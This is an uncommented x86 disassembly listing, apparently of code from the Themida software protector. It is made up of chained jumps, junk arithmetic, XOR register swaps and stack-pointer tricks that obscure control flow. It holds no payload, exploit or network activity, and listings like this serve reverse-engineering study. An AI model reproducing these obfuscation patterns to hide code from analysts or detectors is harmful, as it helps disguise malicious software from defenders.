loc_56C023: ; CODE XREF: sub_562ABA+49B5j
push ebx
jmp loc_566F9C
; ---------------------------------------------------------------------------
loc_56C029: ; CODE XREF: sub_562ABA+1866j
push esi
push edi
push 60F86655h
pop edi
add edi, 0DF5BD85h
jmp loc_56E4EA
; ---------------------------------------------------------------------------
loc_56C03C: ; CODE XREF: sub_562ABA+62D4j
mov edi, esp
add edi, 4
add edi, 4
jmp loc_56B2FC
; ---------------------------------------------------------------------------
loc_56C04F: ; CODE XREF: sub_562ABA+EF6Bj
mov esi, 0FEB41A4h
xor edx, esi
jmp loc_56073C
; ---------------------------------------------------------------------------
loc_56C05B: ; CODE XREF: sub_562ABA+BED9j
add esp, 4
add ebp, 4
sub ebp, 4
push ebp
push [esp+1Ah+var_16]
jmp loc_55F89A
; ---------------------------------------------------------------------------
loc_56C074: ; CODE XREF: sub_562ABA+111Cj
sub eax, 969DA2B0h
sub edx, eax
jmp loc_5634E6
; ---------------------------------------------------------------------------
loc_56C080: ; CODE XREF: sub_562ABA+8010j
add ecx, esi
jmp loc_56EB7D
; ---------------------------------------------------------------------------
loc_56C087: ; CODE XREF: sub_562ABA+EF3Dj
add eax, 4
add eax, 4
xchg eax, [esp+16h+var_16]
pop esp
pop [esp+12h+var_12]
mov esp, [esp+0]
shl byte ptr [esp+0], cl
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56C0A2: ; CODE XREF: sub_562ABA+FBBDj
pop edi
jmp loc_56E501
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp+12h+var_12]
jmp loc_56B0FE
; ---------------------------------------------------------------------------
loc_56C0B3: ; CODE XREF: sub_562ABA+F58Bj
add ebp, 22BD6928h
sub ebp, 783F303Ch
pop esi
xchg ebp, [esp+0]
mov esp, [esp+0]
btr [esp+0], ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56C0D1: ; CODE XREF: sub_562ABA-4A08j
mov al, 0BDh
add al, 1
push bx
mov bl, 6Ch
sub al, bl
pop bx
neg al
jmp loc_55EC65
; ---------------------------------------------------------------------------
loc_56C0E4: ; CODE XREF: sub_562ABA+14BEj
mov al, cl
jmp loc_56356F
; ---------------------------------------------------------------------------
loc_56C0EB: ; CODE XREF: sub_562ABA+CE95j
push edx
mov edx, 4
add [esp+2Eh+var_2C+2], edx
pop edx
push [esp+2Ah+var_2C+2]
push dword ptr [esp+0]
pop esi
jmp loc_56D1C3
; ---------------------------------------------------------------------------
loc_56C102: ; CODE XREF: sub_562ABA+2392j
mov ecx, 346F3849h
push esi
mov esi, 2542660h
inc esi
inc esi
add esi, 0DB641FF3h
add ecx, esi
pop esi
add eax, ecx
pop ecx
pop ebp
jmp $+5
add eax, ebp
sub eax, 17890026h
sub eax, 31EE3177h
push [esp+22h+var_22]
mov ebp, [esp+26h+var_28+2]
add esp, 4
push eax
jmp loc_56E9F0
; ---------------------------------------------------------------------------
loc_56C13F: ; CODE XREF: sub_562ABA+4888j
add ecx, ebp
mov ebp, [esp+32h+var_32]
jmp loc_56FBB3
; ---------------------------------------------------------------------------
loc_56C149: ; CODE XREF: sub_562ABA+6DC0j
mov eax, 6BAE2969h
inc eax
not eax
push ebp
mov ebp, 2D5B5A8Ah
not ebp
not ebp
not ebp
add ebp, 7C236426h
sub eax, ebp
pop ebp
add eax, 0E62C76EEh
xor ebp, eax
pop eax
push edi
jmp loc_5708C1
; ---------------------------------------------------------------------------
loc_56C174: ; CODE XREF: sub_562ABA+9978j
mov esi, 203E0D1Ah
sub esp, 4
jmp loc_561BB8
; ---------------------------------------------------------------------------
loc_56C181: ; CODE XREF: sub_562ABA-1E9Aj
push ecx
mov ecx, esp
jmp loc_56B998
; ---------------------------------------------------------------------------
loc_56C189: ; CODE XREF: sub_562ABA+79DFj
pop eax
pop [esp+32h+var_32]
pop esp
push 2D66h
mov [esp+0], ebx
push 50A2h
mov [esp+32h+var_32], edx
mov edx, 3B296C2Dh
jmp loc_5652E9
; ---------------------------------------------------------------------------
loc_56C1A8: ; CODE XREF: sub_562ABA+52C9j
sub esi, 54411E94h
sub esi, 7A196FAAh
add esi, eax
add esi, 7A196FAAh
add esi, 54411E94h
push [esp+2+var_4+2]
pop eax
add esp, 4
sub esi, 456245h
jmp loc_56372F
; ---------------------------------------------------------------------------
loc_56C1D7: ; CODE XREF: sub_562ABA+A3AAj
sub al, dl
pop edx
sub esp, 2
mov [esp+0], bx
push eax
jmp loc_56598C
; ---------------------------------------------------------------------------
loc_56C1EA: ; CODE XREF: sub_562ABA+ACFFj
mov esp, [esp+2+var_4+2]
xor eax, [esp+2+var_4+2]
xor [esp+2+var_4+2], eax
xor eax, [esp+2+var_4+2]
jmp loc_572480
; ---------------------------------------------------------------------------
loc_56C1FB: ; CODE XREF: sub_562ABA+DC27j
xor [esp+2+var_4+2], esi
jmp loc_56877C
; ---------------------------------------------------------------------------
loc_56C203: ; CODE XREF: sub_562ABA+288Aj
mov ah, 9Eh
sub bl, ah
mov eax, [esp+1Eh+var_1E]
jmp loc_56C504
; ---------------------------------------------------------------------------
loc_56C20F: ; CODE XREF: sub_562ABA+F0EAj
mov [esp+1Eh+var_1E], esi
mov esi, 35A7304Bh
push ebx
jmp loc_565C69
; ---------------------------------------------------------------------------
loc_56C21D: ; CODE XREF: sub_562ABA+801Ej
sub bh, ah
push edx
mov dl, 72h
xor dl, 0A3h
add dl, 0F3h
add bh, dl
jmp loc_562EF9
; ---------------------------------------------------------------------------
loc_56C22F: ; CODE XREF: Themida_:0056085Aj
pop [esp+16h+var_16]
push esi
mov esi, 4
add [esp+16h+var_12], esi
jmp loc_563DEC
; ---------------------------------------------------------------------------
loc_56C241: ; CODE XREF: sub_562ABA+B93Bj
mov [esp+16h+var_16], esi
mov esi, 6A640077h
add esi, 1
push eax
jmp loc_5636F1
; ---------------------------------------------------------------------------
loc_56C255: ; CODE XREF: sub_562ABA+3B1Cj
push edi
mov edi, esp
jmp loc_56AC04
; ---------------------------------------------------------------------------
loc_56C25D: ; CODE XREF: sub_562ABA-637j
mov ebx, 79464184h
sub eax, ebx
jmp loc_571C04
; ---------------------------------------------------------------------------
loc_56C269: ; CODE XREF: sub_562ABA+5EE0j
push 646119FAh
pop ecx
jmp loc_5725F2
; ---------------------------------------------------------------------------
loc_56C274: ; CODE XREF: sub_562ABA+3293j
mov ebx, 4
add eax, ebx
pop ebx
sub eax, 4
xchg eax, [esp-4+arg_0]
mov esp, [esp-4+arg_0]
mov [esp-4+arg_0], eax
jmp loc_560BFF
; ---------------------------------------------------------------------------
loc_56C28F: ; CODE XREF: sub_562ABA+BE9j
add ecx, edi
mov edi, [esp-0Eh+arg_8+2]
add esp, 4
jmp loc_5621C4
; ---------------------------------------------------------------------------
loc_56C29F: ; CODE XREF: sub_562ABA+FB67j
mov [esp-12h+arg_C+2], eax
jmp loc_56930C
; ---------------------------------------------------------------------------
loc_56C2A7: ; CODE XREF: sub_562ABA+5C1Fj
push edi
push [esp+2Ah+var_28+2]
pop edi
jmp loc_563202
; ---------------------------------------------------------------------------
loc_56C2B2: ; CODE XREF: sub_562ABA+3C0Dj
add ebx, edx
add ebx, 4A265491h
pop edx
push ebp
mov ebp, 6ACE6E14h
and ebp, 68950355h
not ebp
and ebp, 5877241Eh
sub ebp, 0A4FCF82Dh
jmp loc_56F5EB
; ---------------------------------------------------------------------------
loc_56C2DA: ; CODE XREF: sub_562ABA+73DCj
add ecx, ebp
pop ebp
add esi, ecx
mov ecx, [esp-1Ah+arg_14+2]
sub esp, 4
mov [esp-16h+arg_10+2], edi
mov edi, esp
jmp loc_56A852
; ---------------------------------------------------------------------------
mov ax, word ptr [esp-16h+arg_10+2]
push 542Bh
jmp loc_56911B
; ---------------------------------------------------------------------------
loc_56C2FD: ; CODE XREF: sub_562ABA+5BBEj
mov [esp+8+var_8], ebx
mov ebx, edx
mov eax, ebx
pop ebx
push [esp+4+var_4]
pop edx
push edi
push esp
pop edi
push 588Ch
jmp loc_56797C
; ---------------------------------------------------------------------------
loc_56C316: ; CODE XREF: sub_562ABA+6043j
push [esp+1Eh+var_1E]
pop eax
add esp, 4
push 37FBh
mov [esp+1Eh+var_1E], edx
push esp
mov edx, [esp+22h+var_22]
add esp, 4
push eax
mov eax, 4
jmp loc_5649B9
; ---------------------------------------------------------------------------
loc_56C33A: ; CODE XREF: sub_562ABA+9945j
xchg ecx, [esp+22h+var_22]
mov esp, [esp+22h+var_22]
mov [esp+22h+var_22], esi
push 5D3h
mov [esp+26h+var_28+2], edx
push ecx
mov ecx, 7AFC1C4Eh
sub esp, 4
jmp loc_565F99
; ---------------------------------------------------------------------------
loc_56C35C: ; CODE XREF: sub_562ABA+D22Bj
xor cl, 23h
jmp loc_570DD2
; ---------------------------------------------------------------------------
loc_56C364: ; CODE XREF: sub_562ABA+55A6j
xor edx, [esp+46h+var_46]
xor [esp+46h+var_46], edx
xor edx, [esp+46h+var_46]
jmp loc_56A606
; ---------------------------------------------------------------------------
loc_56C372: ; CODE XREF: sub_562ABA-382Bj
xor esi, 68E03C4Ah
add ebx, 6B4E2413h
add ebx, esi
jmp loc_56C8D1
; ---------------------------------------------------------------------------
loc_56C385: ; CODE XREF: sub_562ABA+43F0j
pop edx
push ecx
push ebx
mov ebx, 3D101937h
jmp loc_56DAD2
; ---------------------------------------------------------------------------
loc_56C392: ; CODE XREF: sub_562ABA+9C5Dj
pop ebp
add eax, ebx
pop ebx
jmp loc_56CF30
; ---------------------------------------------------------------------------
loc_56C39B: ; CODE XREF: sub_562ABA+4C7Dj
push [esp+3Ah+var_3A]
mov edx, [esp+3Eh+var_3E]
add esp, 4
push edi
sub esp, 4
mov [esp+42h+var_42], esp
add [esp+42h+var_42], 4
pop edi
jmp sub_572591
; ---------------------------------------------------------------------------
loc_56C3BE: ; CODE XREF: sub_562ABA+2742j
pop ebx
sub eax, 6D415DB2h
jmp loc_55F806
; ---------------------------------------------------------------------------
loc_56C3C9: ; CODE XREF: sub_562ABA+B2C7j
push ebx
mov ebx, 4
add ebp, ebx
jmp loc_57108B
; ---------------------------------------------------------------------------
loc_56C3D6: ; CODE XREF: sub_562ABA+791Aj
mov ecx, edx
pop edx
push ebx
mov ebx, 0FFFFFFFFh
add ecx, ebx
jmp loc_55E212
; ---------------------------------------------------------------------------
loc_56C3E6: ; CODE XREF: sub_562ABA+A28Ej
mov edi, esp
push ebx
mov ebx, 4
add edi, ebx
jmp loc_560D94
; ---------------------------------------------------------------------------
loc_56C3F5: ; CODE XREF: sub_562ABA+885Aj
pop ebx
push edi
mov edi, 4
sub ecx, edi
pop edi
jmp loc_56C33A
; ---------------------------------------------------------------------------
loc_56C404: ; CODE XREF: sub_562ABA+22EEj
mov [esp+42h+var_42], eax
sub esp, 4
mov [esp+46h+var_46], ebx
push 1C760C2Fh
push [esp+4Ah+var_4A]
jmp loc_56B9BE
; ---------------------------------------------------------------------------
loc_56C41D: ; CODE XREF: sub_562ABA+FE33j
pop esp
jmp loc_56FE53
; ---------------------------------------------------------------------------
loc_56C423: ; CODE XREF: sub_562ABA+5EAAj
add ebp, 4
sub esp, 4
mov [esp+0], esi
jmp loc_56C174
; ---------------------------------------------------------------------------
loc_56C437: ; CODE XREF: sub_562ABA+D127j
mov [esp+0], edi
mov edi, edx
push edi
jmp loc_570E4B
; ---------------------------------------------------------------------------
loc_56C442: ; CODE XREF: sub_562ABA+1CAEj
pop esi
jmp loc_56D73F
; ---------------------------------------------------------------------------
loc_56C448: ; CODE XREF: sub_562ABA+5B8Dj
pop eax
pop [esp+8+var_8]
push edx
push 683Fh
mov [esp+0Ch+var_C], edi
mov edi, 36324FC6h
jmp loc_56E44B
; ---------------------------------------------------------------------------
loc_56C45F: ; CODE XREF: sub_562ABA+36A1j
add ecx, esi
sub ecx, 598A25A1h
pop esi
add ecx, 4
xchg ecx, [esp+1Ah+var_1A]
pop esp
jmp loc_56864C
; ---------------------------------------------------------------------------
loc_56C474: ; CODE XREF: sub_562ABA+2D3Ej
mov edx, ebx
pop ebx
jmp loc_571D6D
; ---------------------------------------------------------------------------
loc_56C47C: ; CODE XREF: sub_562ABA+C0B4j
pop esp
and word ptr [esp+1Ah+var_1A], ax
pushf
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56C487: ; CODE XREF: sub_562ABA+CE27j
push ebx
mov bl, 8
jmp loc_566761
; ---------------------------------------------------------------------------
loc_56C48F: ; CODE XREF: sub_562ABA-76Bj
sub ebp, eax
pop eax
jmp loc_569F57
; ---------------------------------------------------------------------------
loc_56C497: ; CODE XREF: sub_562ABA+F98Bj
mov ebp, 6D352F4Eh
inc ebp
inc ebp
shl ebp, 2
add ebp, 1
jmp loc_5688E4
; ---------------------------------------------------------------------------
loc_56C4A9: ; CODE XREF: sub_562ABA+856Ej
push 5FF3h
mov [esp+5Ah+var_5A], eax
push ebp
push ecx
mov ecx, 69C05190h
jmp loc_567481
; ---------------------------------------------------------------------------
loc_56C4BD: ; CODE XREF: sub_562ABA+85C5j
add esp, 4
pop eax
add edi, edx
jmp loc_568355
; ---------------------------------------------------------------------------
loc_56C4C8: ; CODE XREF: sub_562ABA+EF06j
xor ebp, 2D5A2A12h
xor esi, ebp
jmp loc_56164E
; ---------------------------------------------------------------------------
loc_56C4D5: ; CODE XREF: sub_562ABA+BB97j
not edi
not edi
add edi, 75E8199Fh
sub edi, 0F239675Ch
xor esi, edi
jmp loc_56FC69
; ---------------------------------------------------------------------------
loc_56C4EC: ; CODE XREF: sub_562ABA+A2D3j
push esp
pop edi
add edi, 4
jmp loc_561E06
; ---------------------------------------------------------------------------
loc_56C4F9: ; CODE XREF: sub_562ABA+4816j
add ebp, 4
jmp loc_56839E
; ---------------------------------------------------------------------------
loc_56C504: ; CODE XREF: sub_562ABA+9750j
add esp, 4
add bl, al
sub esp, 4
mov [esp+1Eh+var_1E], ecx
mov cl, 69h
push eax
jmp loc_572861
; ---------------------------------------------------------------------------
loc_56C517: ; CODE XREF: sub_562ABA+BF79j
mov edi, [esp+22h+var_22]
push ebx
jmp loc_565DC0
; ---------------------------------------------------------------------------
loc_56C520: ; CODE XREF: sub_562ABA+A3B4j
push ecx
jmp loc_5699CC
; ---------------------------------------------------------------------------
loc_56C526: ; CODE XREF: sub_562ABA+CB3Aj
add ecx, 5D5707EBh
sub ecx, 4E2ECA87h
add ecx, 1
push edi
mov edi, 0D88F143Eh
sub ecx, edi
pop edi
or ebx, ecx
pop ecx
sub ebx, 0E92F7FE5h
add ebp, 4E514D95h
add ebp, ebx
sub ebp, 4E514D95h
pop ebx
jmp sub_56019B
; ---------------------------------------------------------------------------
loc_56C55B: ; CODE XREF: sub_562ABA-42B6j
xchg esi, [esp+16h+var_16]
mov esp, [esp+16h+var_16]
mov [esp+16h+var_16], edx
mov edx, 1
mov ebx, edx
push [esp+16h+var_16]
pop edx
add esp, 4
add eax, 67542ED0h
sub eax, ebx
sub eax, 67542ED0h
push [esp+12h+var_12]
jmp loc_5628A3
; ---------------------------------------------------------------------------
loc_56C589: ; CODE XREF: sub_562ABA+C3ABj
add al, bh
mov bx, word ptr [esp+16h+var_16]
add esp, 2
mov ecx, [esp+12h+var_12]
jmp loc_5705D5
; ---------------------------------------------------------------------------
loc_56C59D: ; CODE XREF: sub_562ABA-A6Dj
xchg edi, [esp+0]
pop esp
push ebp
mov ebp, 35336A29h
sub ebx, ebp
pop ebp
sub ebx, esi
add ebx, 35336A29h
pop esi
add ebx, 5F7927B8h
add ebx, eax
jmp loc_560AE7
; ---------------------------------------------------------------------------
loc_56C5C0: ; CODE XREF: sub_562ABA+36C5j
mov ebp, 73C102D3h
shr ebp, 3
not ebp
sub ebp, 230FE3h
jmp loc_561641
; ---------------------------------------------------------------------------
loc_56C5D5: ; CODE XREF: sub_562ABA+9522j
pop edi
jmp loc_56F153
; ---------------------------------------------------------------------------
loc_56C5DB: ; CODE XREF: sub_562ABA+74D6j
add ch, bl
jmp loc_563A61
; ---------------------------------------------------------------------------
loc_56C5E2: ; CODE XREF: sub_562ABA-43FDj
mov edx, 26B21328h
mov esi, 0DBE732ACh
jmp loc_56CC4B
; ---------------------------------------------------------------------------
loc_56C5F1: ; CODE XREF: sub_562ABA+1A6Aj
xor ecx, edx
pop edx
push edi
mov edi, 1266132Ah
jmp loc_5721B0
; ---------------------------------------------------------------------------
loc_56C5FF: ; CODE XREF: sub_562ABA-8Ej
add eax, 0C296BB2h
push esi
mov esi, 66CB7CACh
add eax, esi
pop esi
pop ecx
sub esp, 4
mov [esp+26h+var_28+2], ebx
mov ebx, 4
add eax, 7305A19h
add eax, ebx
sub eax, 7305A19h
mov ebx, [esp+26h+var_28+2]
add esp, 4
xchg eax, [esp+22h+var_22]
pop esp
sub esi, 4
xor esi, [esp+1Eh+var_1E]
xor [esp+1Eh+var_1E], esi
xor esi, [esp+1Eh+var_1E]
mov esp, [esp+1Eh+var_1E]
mov [esp+1Eh+var_1E], eax
pop eax
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56C64A: ; CODE XREF: sub_562ABA+2BADj
sub edi, 0FFFFFFFFh
shl edi, 8
jmp loc_566A8E
; ---------------------------------------------------------------------------
loc_56C655: ; CODE XREF: sub_562ABA+D7FBj
mov esp, [esp+48h+var_4A+2]
mov [esp+48h+var_4A+2], esp
add [esp+48h+var_4A+2], 4
mov ebp, [esp+48h+var_4A+2]
push 13C7h
mov [esp+4Ch+var_4E+2], edx
mov edx, esp
add edx, 4
sub esp, 4
mov [esp+50h+var_52+2], eax
mov eax, 7AC45514h
xor eax, 55273EC0h
or eax, 13F229C1h
jmp loc_561AA6
; ---------------------------------------------------------------------------
loc_56C68F: ; CODE XREF: sub_562ABA+D39Cj
mov eax, 430336FEh
push 677Dh
mov [esp+54h+var_56+2], edi
mov edi, 60B67C91h
or eax, edi
pop edi
xor eax, edi
xor edi, eax
xor eax, edi
dec edi
xchg eax, edi
add eax, 9C488106h
add edx, 79587C9Dh
add edx, 6C594788h
add edx, eax
jmp loc_564685
; ---------------------------------------------------------------------------
loc_56C6C4: ; CODE XREF: sub_562ABA+9E9Bj
mov [esp+50h+var_52+2], edx
push edx
jmp loc_569630
; ---------------------------------------------------------------------------
loc_56C6CD: ; CODE XREF: sub_562ABA-E98j
pop edi
push ebp
jmp loc_567289
; ---------------------------------------------------------------------------
loc_56C6D4: ; CODE XREF: sub_562ABA+19BEj
pop eax
add esp, 4
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
push ecx
jmp loc_56A510
; ---------------------------------------------------------------------------
loc_56C6ED: ; CODE XREF: sub_562ABA-269Aj
add eax, esi
pop esi
push edx
mov edx, 73DA3FCFh
xor edx, 16008BBh
add edx, 9585E401h
jmp loc_562C52
; ---------------------------------------------------------------------------
loc_56C707: ; CODE XREF: sub_562ABA+E5B2j
mov [esp+8+var_8], esi
jmp loc_56DDC0
; ---------------------------------------------------------------------------
loc_56C70F: ; CODE XREF: sub_562ABA+6A5Aj
push ebp
mov ebp, 0CED0ADF9h
xor ebx, ebp
jmp loc_56C392
; ---------------------------------------------------------------------------
sub esp, 4
push ebp
mov ebp, esp
jmp loc_560F6C
; ---------------------------------------------------------------------------
loc_56C727: ; CODE XREF: sub_562ABA+E5j
push ecx
jmp loc_570A54
; ---------------------------------------------------------------------------
loc_56C72D: ; CODE XREF: sub_562ABA+7275j
add esp, 4
shl eax, 8
jmp loc_562BE0
; ---------------------------------------------------------------------------
loc_56C73B: ; CODE XREF: sub_562ABA+B4A7j
xchg edx, [esp+26h+var_28+2]
mov esp, [esp+26h+var_28+2]
jmp loc_562A40
; ---------------------------------------------------------------------------
loc_56C746: ; CODE XREF: sub_562ABA+CB01j
mov si, word ptr [esp+26h+var_28+2]
add esp, 2
push small 3428h
mov [esp+0], si
push eax
mov ax, 1E3Bh
jmp loc_56A884
; ---------------------------------------------------------------------------
loc_56C75F: ; CODE XREF: sub_562ABA+E9CBj
mov [esp+28h+var_28], ecx
push ebx
push eax
jmp loc_56CFF4
; ---------------------------------------------------------------------------
loc_56C769: ; CODE XREF: sub_562ABA+417Ej
add eax, 4
add eax, 4
xchg eax, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
push edi
mov edi, 59964883h
add edi, 12C626C9h
neg edi
shl edi, 1
push esi
mov esi, 27472164h
sub edi, esi
jmp loc_572AC7
; ---------------------------------------------------------------------------
loc_56C796: ; CODE XREF: sub_562ABA-471Cj
push ebx
mov ebx, 1F7472B8h
push ebx
push 76CF538Bh
pop ebx
inc ebx
shl ebx, 1
xor ebx, 0EC739EA5h
jmp loc_560F8D
; ---------------------------------------------------------------------------
loc_56C7B1: ; CODE XREF: sub_562ABA+7377j
add dword ptr [esp+0], 4
pop eax
jmp loc_560920
; ---------------------------------------------------------------------------
loc_56C7BB: ; CODE XREF: sub_562ABA+C60j
push eax
not [esp+52h+var_52]
mov eax, [esp+52h+var_52]
jmp loc_567583
; ---------------------------------------------------------------------------
loc_56C7C7: ; CODE XREF: sub_562ABA+4F14j
push ebx
jmp loc_56A27D
; ---------------------------------------------------------------------------
loc_56C7CD: ; CODE XREF: sub_55EEB7+9j
xor eax, 63956AE3h
mov ebp, [esp+0]
add esp, 4
xchg eax, ebp
jmp loc_563302
; ---------------------------------------------------------------------------
loc_56C7DE: ; CODE XREF: sub_562ABA-373Aj
add [esp+1Eh+var_1E], 4
jmp loc_55E99B
; ---------------------------------------------------------------------------
loc_56C7EA: ; CODE XREF: sub_562ABA+2DD4j
xor eax, 67E76BBFh
and [edi+1Ch], eax
push [esp-0Ch+arg_8]
mov eax, [esp-8+arg_4]
add esp, 4
jmp loc_57280E
; ---------------------------------------------------------------------------
loc_56C800: ; CODE XREF: sub_562ABA-2875j
push esi
push [esp-2+arg_0+2]
pop esi
pop dword ptr [esp+0]
mov esp, [esp-6+arg_0+2]
imul ecx
push 4D88h
mov [esp+0], edx
push eax
pushf
jmp loc_55FABB
; ---------------------------------------------------------------------------
loc_56C81D: ; CODE XREF: sub_562ABA+BBB9j
sub edi, 62514A9Fh
add edi, ebp
push esi
mov esi, 62514A9Fh
add edi, esi
pop esi
sub edi, 7D676986h
mov ebp, [esp+6+var_8+2]
jmp loc_56849C
; ---------------------------------------------------------------------------
loc_56C83C: ; CODE XREF: sub_562ABA+31BEj
push ebp
sub esp, 4
mov [esp-4+arg_0], edi
push 1F542F75h
mov edi, [esp+0]
jmp loc_567F98
; ---------------------------------------------------------------------------
loc_56C850: ; CODE XREF: sub_562ABA+A48Cj
pop ecx
push ebx
mov ebx, 290D73B0h
not ebx
add ebx, 1A5A6874h
push eax
mov eax, 33C70763h
jmp loc_55EC1B
; ---------------------------------------------------------------------------
loc_56C86A: ; CODE XREF: sub_562ABA+FA34j
mov ebp, 740183Ah
push ecx
mov ecx, 156E5A3Dh
sub ebp, ecx
pop ecx
jmp loc_5671C6
; ---------------------------------------------------------------------------
loc_56C87D: ; CODE XREF: sub_562ABA-C1Ej
mov edi, 4
add edx, edi
pop edi
push edx
jmp loc_560568
; ---------------------------------------------------------------------------
loc_56C88B: ; CODE XREF: sub_562ABA+648Ej
xor eax, edx
xor edx, eax
jmp loc_567CF4
; ---------------------------------------------------------------------------
loc_56C894: ; CODE XREF: sub_562ABA+B158j
mov edi, 30621FD5h
or edi, 1C8D4DF2h
shl edi, 6
inc edi
inc edi
push esi
jmp loc_571071
; ---------------------------------------------------------------------------
loc_56C8AA: ; CODE XREF: sub_562ABA+ECA2j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+32h+var_32]
jmp loc_56C920
; ---------------------------------------------------------------------------
loc_56C8BE: ; CODE XREF: sub_562ABA-2E1Aj
sub ebx, 7A956144h
jmp loc_566BC3
; ---------------------------------------------------------------------------
loc_56C8C9: ; CODE XREF: sub_562ABA+9195j
add ebx, 2
jmp loc_564E15
; ---------------------------------------------------------------------------
loc_56C8D1: ; CODE XREF: sub_562ABA+98C6j
sub ebx, 6B4E2413h
pop esi
sub esp, 4
mov [esp+44h+var_46+2], edi
sub esp, 4
mov [esp+48h+var_4A+2], edx
push 6A82502Bh
pop edx
and edx, 32D85E92h
inc edx
and edx, 0D3D01D8h
jmp loc_5727B5
; ---------------------------------------------------------------------------
loc_56C8FF: ; CODE XREF: sub_562ABA+6370j
mov edx, 6BEE1DDDh
mov eax, edx
pop edx
mov edx, eax
push [esp-0Ah+arg_4+2]
pop eax
add esp, 4
jmp loc_569B8E
; ---------------------------------------------------------------------------
loc_56C915: ; CODE XREF: sub_562ABA+8BB8j
pop esi
mov ebx, eax
push [esp+2+var_4+2]
jmp loc_5681C0
; ---------------------------------------------------------------------------
loc_56C920: ; CODE XREF: sub_562ABA+9DFFj
pop esp
pop dword ptr [esp+0]
jmp loc_56695E
; ---------------------------------------------------------------------------
loc_56C929: ; CODE XREF: sub_562ABA-1F91j
add esi, 0FFFFFFFFh
shr esi, 8
sub esp, 4
mov [esp+12h+var_12], eax
mov eax, 2BDC2DFAh
sub esp, 4
mov [esp+16h+var_16], edx
jmp loc_56382E
; ---------------------------------------------------------------------------
loc_56C948: ; CODE XREF: sub_562ABA-35AFj
and eax, ebp
pop ebp
shr eax, 0Bh
xor ecx, eax
push 0D51h
jmp loc_56C6C4
; ---------------------------------------------------------------------------
loc_56C95A: ; CODE XREF: sub_562ABA+2852j
mov ecx, [esp+1Eh+var_1E]
add esp, 4
shr eax, 8
add eax, 0EF144E4h
add eax, 0F094CBE4h
sub edx, 3B8361ECh
add edx, eax
jmp loc_56501A
; ---------------------------------------------------------------------------
loc_56C97A: ; CODE XREF: sub_562ABA+C3C2j
mov [esp+1Ah+var_1A], edx
push esp
pop edx
add edx, 4
push edi
mov edi, 4
jmp loc_5635AC
; ---------------------------------------------------------------------------
loc_56C990: ; CODE XREF: sub_562ABA+53D0j
add edx, 4
push ebp
jmp loc_55E95F
; ---------------------------------------------------------------------------
loc_56C99C: ; CODE XREF: sub_562ABA+2C79j
sub edx, 7E4C6301h
shr edx, 4
jmp loc_568C66
; ---------------------------------------------------------------------------
loc_56C9AA: ; CODE XREF: sub_562ABA-1E1j
xor [esp+26h+var_28+2], ecx
xor ecx, [esp+26h+var_28+2]
pop esp
jmp loc_55F171
; ---------------------------------------------------------------------------
loc_56C9B6: ; CODE XREF: sub_562ABA+E8E9j
push 17A3h
jmp loc_562DF1
; ---------------------------------------------------------------------------
loc_56C9C0: ; CODE XREF: sub_562ABA+74BBj
mov edi, 462441B2h
not edi
sub edi, 2C135103h
push esi
jmp loc_55FEC7
; ---------------------------------------------------------------------------
loc_56C9D3: ; CODE XREF: sub_562ABA-472Aj
push edi
mov edi, 7CEC5F0Ah
jmp loc_56D4CB
; ---------------------------------------------------------------------------
loc_56C9DE: ; CODE XREF: sub_562ABA+7178j
push ecx
push esi
push 44CF5123h
jmp loc_565573
; ---------------------------------------------------------------------------
loc_56C9EA: ; CODE XREF: sub_562ABA+3B91j
mov esp, [esp+6+var_8+2]
jmp loc_5667E8
; ---------------------------------------------------------------------------
loc_56C9F2: ; CODE XREF: sub_562ABA+77AEj
not ebp
dec ebp
shr ebp, 2
sub ebp, 57DD6B45h
shr ebp, 3
sub ebp, 0EDF0C5DCh
sub edi, ebp
pop ebp
add edi, ecx
jmp loc_56998C
; ---------------------------------------------------------------------------
loc_56CA11: ; CODE XREF: Themida_:00572637j
mov [esp+0], ecx
push edi
jmp loc_563E85
; ---------------------------------------------------------------------------
loc_56CA1A: ; CODE XREF: sub_562ABA+E3AFj
pop esi
jmp loc_560A92
; ---------------------------------------------------------------------------
loc_56CA20: ; CODE XREF: sub_562ABA+93Fj
or eax, 335E1Dh
xor eax, 43844881h
shl eax, 2
jmp loc_565656
; ---------------------------------------------------------------------------
loc_56CA32: ; CODE XREF: sub_55FCA5+C6j
sub eax, 423F4911h
jmp loc_56CA96
; ---------------------------------------------------------------------------
loc_56CA3C: ; CODE XREF: sub_562ABA-32B9j
mov [esp+1Eh+var_1E], edx
jmp loc_570CC3
; ---------------------------------------------------------------------------
loc_56CA44: ; CODE XREF: sub_562ABA+D514j
sub ecx, edx
pop edx
xchg ecx, [esp+1Ah+var_1A]
jmp loc_564677
; ---------------------------------------------------------------------------
loc_56CA4F: ; CODE XREF: sub_562ABA+517Aj
add esp, 4
add edx, 668B1D5Ch
add ebx, 29C645D3h
add ebx, edx
jmp loc_562BCE
; ---------------------------------------------------------------------------
loc_56CA68: ; CODE XREF: sub_562ABA+12Ej
push eax
jmp loc_566E40
; ---------------------------------------------------------------------------
loc_56CA6E: ; CODE XREF: sub_562ABA+4972j
mov edi, 6A69B01Ch
xor ebp, edi
pop edi
sub ebx, ebp
pop ebp
add edi, ebx
pop ebx
sub edi, 7B7A20D0h
jmp loc_563D5B
; ---------------------------------------------------------------------------
loc_56CA87: ; CODE XREF: sub_562ABA+2AD6j
mov edi, esp
push 422Bh
mov [esp+42h+var_42], ebp
jmp loc_570BCF
; ---------------------------------------------------------------------------
loc_56CA96: ; CODE XREF: sub_562ABA+9F7Dj
add eax, edx
add eax, 423F4911h
pop edx
xor eax, [esp+12h+var_12]
xor [esp+12h+var_12], eax
xor eax, [esp+12h+var_12]
pop esp
xchg ecx, [esp+0]
mov esp, [esp+0]
push dword ptr [esp+0]
push [esp+12h+var_12]
pop eax
push eax
mov eax, esp
jmp loc_56D1E7
; ---------------------------------------------------------------------------
loc_56CABD: ; CODE XREF: sub_562ABA+B2FBj
xor edi, [esp+16h+var_16]
xor [esp+16h+var_16], edi
xor edi, [esp+16h+var_16]
mov esp, [esp+16h+var_16]
jmp loc_56D3A7
; ---------------------------------------------------------------------------
loc_56CACE: ; CODE XREF: sub_562ABA+1E50j
pop ebp
jmp loc_5608AA
; ---------------------------------------------------------------------------
